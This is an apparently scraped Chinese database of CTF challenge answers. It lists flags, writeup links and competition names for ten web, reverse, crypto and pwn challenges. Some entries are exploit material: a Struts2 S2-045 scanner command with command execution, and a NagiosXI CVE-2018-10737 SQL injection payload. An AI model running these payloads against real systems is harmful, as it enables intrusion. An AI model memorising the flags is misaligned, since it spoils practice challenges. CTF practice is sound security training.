随波逐流信息安全网 www.1o1o.xyz

   [随波逐流]CTF Flags

软件版本:v1.0.0   数据版本: v20260526
序号 Website Type Title Value Writeup Competition Id
1 vulfocus WEB rconfig SQL注入 (CVE-2020-10220) admin:1:63a9f0ea7bb98050796b649e85481845 1... - 16617
2 ctfshow WEB入门.php特性 web142 ctfshow{3da033cc-68c7-46dc-99fa-e085f7e1d241} https://blog.csdn.net/Myon5/article/d... php特性 3401
3 qsnctf REVERSE 我将要给你FLAG qsnctrf{0ebec219-a7d6-4c50-8aa2-85a43ec7eaa2} https://xz.aliyun.com/news/15634 原创题 5730
4 BUUCTF Crypto baby_writeup 无 https://bbs.chaitin.cn/topic/124 - 8074
5 NSSCTF REVERSE [BCACTF 2022]Bit Shuffling bcactf{b1t_shuffl1ng_is_fun} https://scrapbox.io/arata-nvm-writeup... BCACTF 13676
6 bugku Reverse AlgorithmTask moectf{pyth0n_1s_s0_s5_1mple} https://framist.github.io/post/moeCTF... moeCTF2019 1077
7 bugku PWN filedes moectf{akiMBNot} https://blog.csdn.net/Xzzzz911/articl... moeCTF2022 1149
8 ctfshow WEB入门.java web287 python Struts2Scan.py -u https://640840ba-1b73-466c-9f7d-8eeb50bae55f.challenge.ctf.show/S2-016/default.action -n S2-045 --exec ... java 3578
9 vulfocus WEB nagiosxi SQL注入 (CVE-2018-10737) NagiosXI <= 5.4.12 存在 SQL 注入漏洞(CVE-2018-10737),攻击者可通过 admin/logbook.php 的 txtSearch 参数执行任意 SQL 命令。受影响版本为 5.2.x 和 5.4.x(<5.4.13),修复方法为升级至 5.4.13 或以上版本。漏洞 PoC 示例为: POST /nagiosql/admin/logbook.php txtSearch=-1%' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# 验证后的网址为:https://www.seebug.org/vuldb/ssvid-97267 https://www.seebug.org/vuldb/ssvid-97267 - 16622
10 NSSCTF 文件上传 [NSSRound#8 Basic]Upload_gogoggo 无 验证后的网址 package main; import ("fmt";... NSSRound#8 11156